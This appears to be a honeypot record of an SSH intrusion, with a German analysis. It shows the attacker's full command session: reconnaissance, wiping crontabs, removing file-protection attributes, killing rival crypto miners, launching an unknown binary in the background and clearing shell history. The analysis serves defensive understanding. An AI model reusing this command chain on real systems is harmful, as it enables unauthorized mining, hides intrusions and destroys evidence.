20.10.2026, 04:45 UTC · 624 Befehle · über ssh · Iran · 2× wiederholt
user='user' pass='111111' user@srv01:~$ uname -s -v -n -r -m Linux vm-214 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 user@srv01:~$ lspci | egrep VGA && lspci | grep 3D 0000:00:02.0 VGA compatible controller: Red Hat, Inc. Virtio GPU user@srv01:~$ uname -n | awk '{printf $1}' vm-214 user@srv01:~$ uname -m | awk '{printf $1}' x86_64 user@srv01:~$ uname -r | awk '{printf $1}' 5.10.0-23-amd64 user@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 bash: nvidia-smi: command not found user@srv01:~$ nvidia-smi -q | grep "Product Name" bash: nvidia-smi: command not found user@srv01:~$ crontab -r bob: no crontab for bob user@srv01:~$ chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 user@srv01:~$ cd /var/tmp user@srv01:~$ rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak rm: cannot remove '/dev/shm/.x': No such file or directory rm: cannot remove '/dev/shm/rete*': No such file or directory rm: cannot remove '/var/tmp/payload': No such file or directory rm: cannot remove '/tmp/.diicot': No such file or directory rm: cannot remove '/tmp/kuak': No such file or directory user@srv01:~$ chattr -iae /var/tmp/Documents/.diicot chattr: No such file or directory while trying to stat /var/tmp/Documents/.diicot user@srv01:~$ chattr -iae /var/tmp/.update-logs/History chattr: No such file or directory while trying to stat /var/tmp/.update-logs/History user@srv01:~$ chattr -iae /var/tmp/.update-logs/Update chattr: No such file or directory while trying to stat /var/tmp/.update-logs/Update user@srv01:~$ rm -rf /var/tmp/.update-logs /var/tmp/Documents rm: cannot remove '/var/tmp/.update-logs': No such file or directory rm: cannot remove '/var/tmp/Documents': No such file or directory user@srv01:~$ mkdir /var/tmp/Documents > /dev/null 2>&1 user@srv01:~$ cd /var/tmp/ user@srv01:~$ pkill Opera pkill: no process found user@srv01:~$ rm -rf /var/tmp/Documents /var/tmp/.update-logs rm: cannot remove '/var/tmp/Documents': No such file or directory rm: cannot remove '/var/tmp/.update-logs': No such file or directory user@srv01:~$ rm -rf xmrig .diicot .black Opera rm: cannot remove 'xmrig': No such file or directory rm: cannot remove '.diicot': No such file or directory rm: cannot remove '.black': No such file or directory rm: cannot remove 'Opera': No such file or directory user@srv01:~$ rm -rf .black xmrig.1 rm: cannot remove '.black': No such file or directory rm: cannot remove 'xmrig.1': No such file or directory user@srv01:~$ pkill cnrig pkill: no process found user@srv01:~$ pkill java user@srv01:~$ killall java user@srv01:~$ pkill xmrig user@srv01:~$ killall cnrig user@srv01:~$ killall xmrig user@srv01:~$ cd /var/tmp/ user@srv01:~$ chmod 777 PbxPRFWC user@srv01:~$ ./PbxPRFWC </dev/null &>/dev/null & disown user@srv01:~$ history -c user@srv01:~$ rm -rf .bash_history ~/.bash_history user@srv01:~$ uname -s -v -n -r -m Linux vm-214 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 user@srv01:~$ uname -s -v -n -r -m Linux vm-214 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 user@srv01:~$ uname -s -v -n -r -m Linux vm-214 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 user@srv01:~$ uname -s -v -n -r -m Linux vm-214 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 user@srv01:~$ uname -s -v -n -r -m Linux vm-214 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 user@srv01:~$ uname -s -v -n -r -m Linux vm-214 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 user@srv01:~$ uname -s -v -n -r -m Linux vm-214 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
Der Angreifer meldete sich mit schwachen Zugangsdaten über SSH an und führte eine Reihe von Erkundungskommandos aus, um das System zu identifizieren. Anschließend bereinigte er das Dateisystem von alten Malware-Resten und entzog Dateischutzattribute, um Schreibrechte zu erzwingen. Abschließend startete er eine unbekannte ausführbare Datei im Hintergrund, um eine persistente Verbindung oder einen Prozess zu etablieren.
Die Befehle uname und lspci sammeln technische Daten über Kernel, Architektur und Grafikkarte, um die Eignung für Mining zu prüfen. Der Aufruf von crontab -r löscht geplante Aufgaben, während chattr -iae Dateischutzattribute entfernt, damit Dateien überschrieben werden können. Mit rm -rf werden alte Malware-Verzeichnisse und Prozesse wie xmrig (Monero Miner) und cnrig (CryptoNight Miner) eliminiert, um Ressourcenkonflikte zu vermeiden. Die letzte Zeile chmod 777 PbxPRFWC macht die Datei ausführbar, und ./PbxPRFWC </dev/null & disown startet sie im Hintergrund, unabhängig von der aktuellen Sitzung.
Das Vorgehen deutet stark auf die Installation eines Kryptomining-Bots oder eines Botnet-Agents hin, da spezifische Mining-Prozesse wie xmrig und cnrig gezielt beendet wurden. Die Entfernung von Konkurrenz-Malware und die Nutzung von Verzeichnissen wie /var/tmp sind typische Muster für automatisierte Infektionsketten. Da die finale Payload nicht analysiert wurde, bleibt das exakte Endziel, ob Mining oder Datenexfiltration, jedoch offen.
Dieses Muster ist im Bereich der automatisierten SSH-Brute-Force-Angriffe sehr verbreitet, da Angreifer oft auf einfache Passwörter und Standard-Verzeichnisse setzen. Die spezifische Kombination aus Mining-Prozess-Killern und der Nutzung von /var/tmp ist ein bekanntes Signaturmuster für Botnet-Infektionen.